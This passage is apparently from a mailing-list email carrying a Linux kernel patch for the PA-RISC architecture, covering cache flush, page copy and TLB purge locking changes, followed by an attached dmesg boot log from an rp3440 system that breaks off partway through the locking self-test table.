 fimanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fimanyloop	/* Adjusted inner loop decr */
-	fice            %r0(%sr1, %arg0)
-	fice,m		%arg1(%sr1, %arg0)	/* Last fice and addr adjust */
+	fice            %r0(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)	/* Last fice and addr adjust */
 	movb,tr		%arg3, %r31, fimanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fisync	/* Outer loop decr */
 
 fioneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fioneloop	/* Outer loop count decr */
-	fice,m		%arg1(%sr1, %arg0)	/* Fice for one loop */
+	/* Some implementations may flush with a single fice instruction */
+	cmpib,COND(>>=),n	15, %arg2, fioneloop2
+
+fioneloop1:
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	addib,COND(>)	-16, %arg2, fioneloop1
+	fice,m		%arg1(%sr2, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fisync	/* Predict branch taken */
+
+fioneloop2:
+	addib,COND(>)	-1, %arg2, fioneloop2	/* Outer loop count decr */
+	fice,m		%arg1(%sr2, %arg0)	/* Fice for one loop */
 
 fisync:
 	sync
@@ -240,8 +265,7 @@ ENTRY(flush_data_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
-	load32 		cache_info, %r1
+	load32		cache_info, %r1
 
 	/* Flush Data Cache */
 
@@ -249,20 +273,46 @@ ENTRY(flush_data_cache_local)
 	LDREG		DCACHE_STRIDE(%r1), %arg1
 	LDREG		DCACHE_COUNT(%r1), %arg2
 	LDREG		DCACHE_LOOP(%r1), %arg3
-	rsm		PSW_SM_I, %r22
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fdoneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fdsync	/* If loop < 0, do sync */
 
 fdmanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fdmanyloop	/* Adjusted inner loop decr */
-	fdce		%r0(%sr1, %arg0)
-	fdce,m		%arg1(%sr1, %arg0)	/* Last fdce and addr adjust */
+	fdce		%r0(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)	/* Last fdce and addr adjust */
 	movb,tr		%arg3, %r31, fdmanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fdsync	/* Outer loop decr */
 
 fdoneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fdoneloop	/* Outer loop count decr */
-	fdce,m		%arg1(%sr1, %arg0)	/* Fdce for one loop */
+	/* Some implementations may flush with a single fdce instruction */
+	cmpib,COND(>>=),n	15, %arg2, fdoneloop2
+
+fdoneloop1:
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	addib,COND(>)	-16, %arg2, fdoneloop1
+	fdce,m		%arg1(%sr2, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fdsync	/* Predict branch taken */
+
+fdoneloop2:
+	addib,COND(>)	-1, %arg2, fdoneloop2	/* Outer loop count decr */
+	fdce,m		%arg1(%sr2, %arg0)	/* Fdce for one loop */
 
 fdsync:
 	syncdma
@@ -277,7 +327,104 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
-ENTRY(copy_user_page_asm)
+/* Macros to serialize TLB purge operations on SMP.  */
+
+	.macro	tlb_lock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock,%r1
+	ldo		R%pa_tlb_lock(%r1),\la
+	rsm		PSW_SM_I,\flags
+1:	LDCW		0(\la),\tmp
+	cmpib,<>,n	0,\tmp,3f
+2:	ldw		0(\la),\tmp
+	cmpb,<>		%r0,\tmp,1b
+	nop
+	b,n		2b
+3:
+#endif
+	.endm
+
+	.macro	tlb_unlock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldi		1,\tmp
+	stw		\tmp,0(\la)
+	mtsm		\flags
+#endif
+	.endm
+
+/* Clear page using kernel mapping.  */
+
+ENTRY(clear_page_asm)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+#ifdef CONFIG_64BIT
+
+	/* Unroll the loop.  */
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:
+	std		%r0, 0(%r26)
+	std		%r0, 8(%r26)
+	std		%r0, 16(%r26)
+	std		%r0, 24(%r26)
+	std		%r0, 32(%r26)
+	std		%r0, 40(%r26)
+	std		%r0, 48(%r26)
+	std		%r0, 56(%r26)
+	std		%r0, 64(%r26)
+	std		%r0, 72(%r26)
+	std		%r0, 80(%r26)
+	std		%r0, 88(%r26)
+	std		%r0, 96(%r26)
+	std		%r0, 104(%r26)
+	std		%r0, 112(%r26)
+	std		%r0, 120(%r26)
+
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
+
+#else
+
+	/*
+	 * Note that until (if) we start saving the full 64-bit register
+	 * values on interrupt, we can't use std on a 32 bit kernel.
+	 */
+	ldi		(PAGE_SIZE / 64), %r1
+
+1:
+	stw		%r0, 0(%r26)
+	stw		%r0, 4(%r26)
+	stw		%r0, 8(%r26)
+	stw		%r0, 12(%r26)
+	stw		%r0, 16(%r26)
+	stw		%r0, 20(%r26)
+	stw		%r0, 24(%r26)
+	stw		%r0, 28(%r26)
+	stw		%r0, 32(%r26)
+	stw		%r0, 36(%r26)
+	stw		%r0, 40(%r26)
+	stw		%r0, 44(%r26)
+	stw		%r0, 48(%r26)
+	stw		%r0, 52(%r26)
+	stw		%r0, 56(%r26)
+	stw		%r0, 60(%r26)
+
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		64(%r26), %r26
+#endif
+	bv		%r0(%r2)
+	nop
+	.exit
+
+	.procend
+ENDPROC(clear_page_asm)
+
+/* Copy page using kernel mapping.  */
+
+ENTRY(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -285,18 +432,14 @@ ENTRY(copy_user_page_asm)
 #ifdef CONFIG_64BIT
 	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
 	 * Unroll the loop by hand and arrange insn appropriately.
-	 * GCC probably can do this just as well.
+	 * Prefetch doesn't improve performance on rp3440.
+	 * GCC probably can do this just as well...
 	 */
 
-	ldd		0(%r25), %r19
 	ldi		(PAGE_SIZE / 128), %r1
 
-	ldw		64(%r25), %r0		/* prefetch 1 cacheline ahead */
-	ldw		128(%r25), %r0		/* prefetch 2 */
-
-1:	ldd		8(%r25), %r20
-	ldw		192(%r25), %r0		/* prefetch 3 */
-	ldw		256(%r25), %r0		/* prefetch 4 */
+1:	ldd		0(%r25), %r19
+	ldd		8(%r25), %r20
 
 	ldd		16(%r25), %r21
 	ldd		24(%r25), %r22
@@ -330,20 +473,16 @@ ENTRY(copy_user_page_asm)
 
 	ldd		112(%r25), %r21
 	ldd		120(%r25), %r22
+	ldo		128(%r25), %r25
 	std		%r19, 96(%r26)
 	std		%r20, 104(%r26)
 
-	ldo		128(%r25), %r25
 	std		%r21, 112(%r26)
 	std		%r22, 120(%r26)
-	ldo		128(%r26), %r26
 
-	/* conditional branches nullify on forward taken branch, and on
-	 * non-taken backward branch. Note that .+4 is a backwards branch.
-	 * The ldd should only get executed if the branch is taken.
-	 */
-	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
-	ldd		0(%r25), %r19		/* start next loads */
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
 
 #else
 
@@ -399,7 +538,7 @@ ENTRY(copy_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC(copy_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -422,8 +561,6 @@ ENDPROC(copy_user_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
-
 	/*
 	 * We can't do this since copy_user_page is used to bring in
 	 * file data that might have instructions. Since the data would
@@ -435,6 +572,7 @@ ENDPROC(copy_user_page_asm)
 	 * use it if more information is passed into copy_user_page().
 	 * Have to do some measurements to see if it is worthwhile to
 	 * lobby for such a change.
+	 *
 	 */
 
 ENTRY(copy_user_page_asm)
@@ -442,16 +580,21 @@ ENTRY(copy_user_page_asm)
 	.callinfo NO_CALLS
 	.entry
 
+	/* Convert virtual `to' and `from' addresses to physical addresses.
+	   Move `from' physical address to non shadowed register.  */
 	ldil		L%(__PAGE_OFFSET), %r1
 	sub		%r26, %r1, %r26
-	sub		%r25, %r1, %r23		/* move physical addr into non shadowed reg */
+	sub		%r25, %r1, %r23
 
 	ldil		L%(TMPALIAS_MAP_START), %r28
 	/* FIXME for different page sizes != 4k */
 #ifdef CONFIG_64BIT
-	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
-	extrd,u		%r23,56,32, %r23		/* convert phys addr to tlb insert format */
-	depd		%r24,63,22, %r28		/* Form aliased virtual address 'to' */
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
+#endif
+	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
+	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
+	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
 	depdi		0, 63,12, %r28		/* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
@@ -466,10 +609,76 @@ ENTRY(copy_user_page_asm)
 
 	/* Purge any old translations */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+	pdtlb,l		0(%r29)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
-	ldi		64, %r1
+#ifdef CONFIG_64BIT
+	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
+	 * Unroll the loop by hand and arrange insn appropriately.
+	 * GCC probably can do this just as well.
+	 */
+
+	ldd		0(%r29), %r19
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:	ldd		8(%r29), %r20
+
+	ldd		16(%r29), %r21
+	ldd		24(%r29), %r22
+	std		%r19, 0(%r28)
+	std		%r20, 8(%r28)
+
+	ldd		32(%r29), %r19
+	ldd		40(%r29), %r20
+	std		%r21, 16(%r28)
+	std		%r22, 24(%r28)
+
+	ldd		48(%r29), %r21
+	ldd		56(%r29), %r22
+	std		%r19, 32(%r28)
+	std		%r20, 40(%r28)
+
+	ldd		64(%r29), %r19
+	ldd		72(%r29), %r20
+	std		%r21, 48(%r28)
+	std		%r22, 56(%r28)
+
+	ldd		80(%r29), %r21
+	ldd		88(%r29), %r22
+	std		%r19, 64(%r28)
+	std		%r20, 72(%r28)
+
+	ldd		 96(%r29), %r19
+	ldd		104(%r29), %r20
+	std		%r21, 80(%r28)
+	std		%r22, 88(%r28)
+
+	ldd		112(%r29), %r21
+	ldd		120(%r29), %r22
+	std		%r19, 96(%r28)
+	std		%r20, 104(%r28)
+
+	ldo		128(%r29), %r29
+	std		%r21, 112(%r28)
+	std		%r22, 120(%r28)
+	ldo		128(%r28), %r28
+
+	/* conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 * The ldd should only get executed if the branch is taken.
+	 */
+	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
+	ldd		0(%r29), %r19		/* start next loads */
+
+#else
+	ldi		(PAGE_SIZE / 64), %r1
 
 	/*
 	 * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
@@ -480,9 +689,7 @@ ENTRY(copy_user_page_asm)
 	 * use ldd/std on a 32 bit kernel.
 	 */
 
-
-1:
-	ldw		0(%r29), %r19
+1:	ldw		0(%r29), %r19
 	ldw		4(%r29), %r20
 	ldw		8(%r29), %r21
 	ldw		12(%r29), %r22
@@ -515,8 +722,10 @@ ENTRY(copy_user_page_asm)
 	stw		%r21, 56(%r28)
 	stw		%r22, 60(%r28)
 	ldo		64(%r28), %r28
+
 	addib,COND(>)		-1, %r1,1b
 	ldo		64(%r29), %r29
+#endif
 
 	bv		%r0(%r2)
 	nop
@@ -524,9 +733,8 @@ ENTRY(copy_user_page_asm)
 
 	.procend
 ENDPROC(copy_user_page_asm)
-#endif
 
-ENTRY(__clear_user_page_asm)
+ENTRY(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -550,7 +758,13 @@ ENTRY(__clear_user_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
@@ -580,8 +794,7 @@ ENTRY(__clear_user_page_asm)
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
-	stw		%r0, 0(%r28)
+1:	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
 	stw		%r0, 12(%r28)
@@ -606,7 +819,7 @@ ENTRY(__clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(__clear_user_page_asm)
+ENDPROC(clear_user_page_asm)
 
 ENTRY(flush_dcache_page_asm)
 	.proc
@@ -630,7 +843,13 @@ ENTRY(flush_dcache_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	ldil		L%dcache_stride, %r1
 	ldw		R%dcache_stride(%r1), %r1
@@ -663,8 +882,17 @@ ENTRY(flush_dcache_page_asm)
 	fdc,m		%r1(%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r25)
+#else
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		0(%r25)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pdtlb		(%r25)
+	nop
 	.exit
 
 	.procend
@@ -692,7 +920,13 @@ ENTRY(flush_icache_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pitlb,l		%r0(%sr0,%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pitlb		(%sr0,%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r1
@@ -725,8 +959,17 @@ ENTRY(flush_icache_page_asm)
 	fic,m		%r1(%r28)
 
 	sync
-	bv		%r0(%r2)
+
+#ifdef CONFIG_PA20
+	pitlb,l		%r0(%sr0,%r25)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pitlb		(%sr0,%r25)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
+	bv		%r0(%r2)
+	nop
 	.exit
 
 	.procend
@@ -775,7 +1018,7 @@ ENTRY(flush_kernel_dcache_page_asm)
 	.procend
 ENDPROC(flush_kernel_dcache_page_asm)
 
-ENTRY(purge_kernel_dcache_page)
+ENTRY(purge_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -815,7 +1058,7 @@ ENTRY(purge_kernel_dcache_page)
 	.exit
 
 	.procend
-ENDPROC(purge_kernel_dcache_page)
+ENDPROC(purge_kernel_dcache_page_asm)
 
 ENTRY(flush_user_dcache_range_asm)
 	.proc
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index a7bb757..25835d8 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -158,5 +158,6 @@ extern void _mcount(void);
 EXPORT_SYMBOL(_mcount);
 #endif
 
-/* from pacache.S -- needed for copy_page */
-EXPORT_SYMBOL(copy_user_page_asm);
+/* from pacache.S -- needed for clear/copy_page */
+EXPORT_SYMBOL(clear_page_asm);
+EXPORT_SYMBOL(copy_page_asm);
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 12c1ed3..5dd1059 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -314,7 +314,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #if DEBUG_SIG
 	/* Assert that we're flushing in the correct space... */
 	{
-		int sid;
+		unsigned long sid;
 		asm ("mfsp %%sr3,%0" : "=r" (sid));
 		DBG(1,"setup_rt_frame: Flushing 64 bytes at space %#x offset %p\n",
 		       sid, frame->tramp);
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 0bb1d63..4dc7b79 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -31,6 +31,7 @@
 #include <linux/delay.h>
 #include <linux/bitops.h>
 #include <linux/ftrace.h>
+#include <linux/cpu.h>
 
 #include <linux/atomic.h>
 #include <asm/current.h>
@@ -295,8 +296,13 @@ smp_cpu_init(int cpunum)
 
 		printk(KERN_CRIT "CPU#%d already initialized!\n", cpunum);
 		machine_halt();
-	}  
+	}
+
+	notify_cpu_starting(cpunum);
+
+	ipi_call_lock();
 	set_cpu_online(cpunum, true);
+	ipi_call_unlock();
 
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..f0cb56e 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -92,11 +92,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 70e105d..4a24ba7 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -77,7 +77,7 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	cycles_elapsed = now - next_tick;
 
-	if ((cycles_elapsed >> 6) < cpt) {
+	if ((cycles_elapsed >> 7) < cpt) {
 		/* use "cheap" math (add/subtract) instead
 		 * of the more expensive div/mul method
 		 */
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index fa6f2b8..64a9998 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -50,8 +50,10 @@ SECTIONS
 	. = KERNEL_BINARY_TEXT_START;
 
 	_text = .;		/* Text and read-only data */
-	.text ALIGN(16) : {
+	.head ALIGN(16) : {
 		HEAD_TEXT
+	} = 0
+	.text ALIGN(16) : {
 		TEXT_TEXT
 		SCHED_TEXT
 		LOCK_TEXT
@@ -65,7 +67,7 @@ SECTIONS
 		*(.fixup)
 		*(.lock.text)		/* out-of-line lock text */
 		*(.gnu.warning)
-	} = 0
+	}
 	/* End of text section */
 	_etext = .;
 
diff --git a/arch/parisc/math-emu/cnv_float.h b/arch/parisc/math-emu/cnv_float.h
index 9071e09..37299c7 100644
--- a/arch/parisc/math-emu/cnv_float.h
+++ b/arch/parisc/math-emu/cnv_float.h
@@ -347,16 +347,15 @@
     Sgl_isinexact_to_fix(sgl_value,exponent)
 
 #define Duint_from_sgl_mantissa(sgl_value,exponent,dresultA,dresultB)	\
-  {Sall(sgl_value) <<= SGL_EXP_LENGTH;  /*  left-justify  */		\
+  {unsigned int val = Sall(sgl_value) << SGL_EXP_LENGTH;		\
     if (exponent <= 31) {						\
     	Dintp1(dresultA) = 0;						\
-    	Dintp2(dresultB) = (unsigned)Sall(sgl_value) >> (31 - exponent); \
+    	Dintp2(dresultB) = val >> (31 - exponent);			\
     }									\
     else {								\
-    	Dintp1(dresultA) = Sall(sgl_value) >> (63 - exponent);		\
-    	Dintp2(dresultB) = Sall(sgl_value) << (exponent - 31);		\
+    	Dintp1(dresultA) = val >> (63 - exponent);			\
+    	Dintp2(dresultB) = exponent <= 62 ? val << (exponent - 31) : 0;	\
     }									\
-    Sall(sgl_value) >>= SGL_EXP_LENGTH;  /* return to original */	\
   }
 
 #define Duint_setzero(dresultA,dresultB) 	\
diff --git a/kernel/irq/chip.c b/kernel/irq/chip.c
index 6080f6b..231996a 100644
--- a/kernel/irq/chip.c
+++ b/kernel/irq/chip.c
@@ -574,6 +574,7 @@ out_eoi:
 void
 handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 {
+	struct irqaction *action;
 	struct irq_chip *chip = irq_desc_get_chip(desc);
 
 	kstat_incr_irqs_this_cpu(irq, desc);
@@ -581,7 +582,9 @@ handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 	if (chip->irq_ack)
 		chip->irq_ack(&desc->irq_data);
 
-	handle_irq_event_percpu(desc, desc->action);
+	action = desc->action;
+	if (action)
+		handle_irq_event_percpu(desc, action);
 
 	if (chip->irq_eoi)
 		chip->irq_eoi(&desc->irq_data);

--Apple-Mail-2-20889562
Content-Disposition: attachment; filename="dmesg.0"
Content-Type: application/octet-stream; x-unix-mode=0640; name="dmesg.0"
Content-Transfer-Encoding: 7bit

Linux version 3.4.0-rc7+ (dave@mx3210) (gcc version 4.7.0 (GCC) ) #2 SMP Sun May 13 17:23:28 EDT 2012
unwind_init: start = 0x404c9000, end = 0x404f6f30, entries = 11763
FP[0] enabled: Rev 1 Model 20
The 64-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00008870 00000491 00000000 00000002 3e0505e7352af711 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 20 rev 4 (0x00000284)
capabilities 0x35
model 9000/800/rp3440  
ic_size 2000000 dc_size 2000000 it_size f0
DC  base 0x0 stride 0x80 count 0x40000 loop 0x1
dc_conf = 0x1882000  alias 0 blk 1 line 4 shift 1
	wt 0 sh 0 cst 1 hv 0
IC  base 0x0 stride 0x80 count 0x40000 loop 0x1
ic_conf = 0x1882000  alias 0 blk 1 line 4 shift 1
	wt 0 sh 0 cst 1 hv 0
D-TLB conf: sh 3 page 1 cst 1 aid 0 pad1 0
I-TLB conf: sh 3 page 1 cst 1 aid 3 pad1 0
parisc_cache_init: Only equivalent aliasing supported!
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
 1) Start 0x0000000100000000 End 0x000000027fdfffff Size   6142 MB
 2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
Total Memory: 10238 MB
initrd: 7f87c000-7ffee61e
initrd: reserving 3f87c000-3ffee61e (mem_max 27fe00000)
On node 0 totalpages: 262144
free_area_init_node: node 0, pgdat 405127c0, node_mem_map 419f7000
  Normal zone: 3584 pages used for memmap
  Normal zone: 0 pages reserved
  Normal zone: 258560 pages, LIFO batch:31
On node 1 totalpages: 1572352
free_area_init_node: node 1, pgdat 40513540, node_mem_map 140000000
  Normal zone: 21497 pages used for memmap
  Normal zone: 0 pages reserved
  Normal zone: 1550855 pages, LIFO batch:31
On node 2 totalpages: 786432
free_area_init_node: node 2, pgdat 405142c0, node_mem_map 4080000000
  Normal zone: 10752 pages used for memmap
  Normal zone: 0 pages reserved
  Normal zone: 775680 pages, LIFO batch:31
PERCPU: Embedded 10 pages/cpu @0000000042800000 s8448 r8192 d24320 u40960
pcpu-alloc: s8448 r8192 d24320 u40960 alloc=10*4096
pcpu-alloc: [0] 00 [0] 01 [0] 02 [0] 03 [0] 04 [0] 05 [0] 06 [0] 07 
pcpu-alloc: [0] 08 [0] 09 [0] 10 [0] 11 [0] 12 [0] 13 [0] 14 [0] 15 
pcpu-alloc: [0] 16 [0] 17 [0] 18 [0] 19 [0] 20 [0] 21 [0] 22 [0] 23 
pcpu-alloc: [0] 24 [0] 25 [0] 26 [0] 27 [0] 28 [0] 29 [0] 30 [0] 31 
SMP: bootstrap CPU ID is 0
Built 3 zonelists in Zone order, mobility grouping on.  Total pages: 2585095
Kernel command line: root=/dev/sda5 console=ttyS1 HOME=/ rootfstype=ext3 palo_kernel=2/vmlinux
PID hash table entries: 4096 (order: 3, 32768 bytes)
Dentry cache hash table entries: 2097152 (order: 12, 16777216 bytes)
Inode-cache hash table entries: 1048576 (order: 11, 8388608 bytes)
Memory: 10280328k/10483712k available (3250k kernel code, 203384k reserved, 1429k data, 216k init)
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x0000004140000000   (266240 MB)
      .init : 0x000000004065c000 - 0x0000000040692000   ( 216 kB)
      .data : 0x000000004042c8e8 - 0x0000000040591e10   (1429 kB)
      .text : 0x0000000040100000 - 0x000000004042c8e8   (3250 kB)
Hierarchical RCU implementation.
NR_IRQS:128
Console: colour dummy device 160x64
------------------------
| Locking API testsuite:
----------------------------------------------------------------------------
                                 | spin |wlock |rlock |mutex | wsem | rsem |
  --------------------------------------------------------------------------
                     A-A deadlock:failed|failed|  ok  |failed|failed|failed|
                 A-B-B-A deadlock:failed|failed|  ok  |failed|failed|failed|
             A-B-B-C-C-A deadlock:failed|failed|  ok  |failed|failed|failed|
             A-B-C-A-B-C deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-B-C-C-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-C-D-B-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-C-D-B-C-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
                    double unlock:failed|failed|failed|  ok  |failed|failed|
                  initialize held:failed|failed|failed|failed|failed|failed|
                 bad unlock order:  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |
  --------------------------------------------------------------------------
              recursive read-lock:             |  ok  |             |failed|
           recursive read-lock #2:             |  ok  |             |failed|
            mixed read-write-lock:             |failed|             |failed|
            mixed write-read-lock:             |failed|             |failed|
  --------------------------------------------------------------------------
     hard-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     hard-irqs-on + irq-safe-A/21:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/21:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/12:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/21:failed|failed|  ok  |
         hard-safe-A + irqs-on/12:failed|failed|  ok  |
         soft-safe-A + irqs-on/12:failed|failed|  ok  |
         hard-safe-A + irqs-on/21:failed|failed|  ok  |
         soft-safe-A + irqs-on/21:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/213:failed|failed|  ok  |
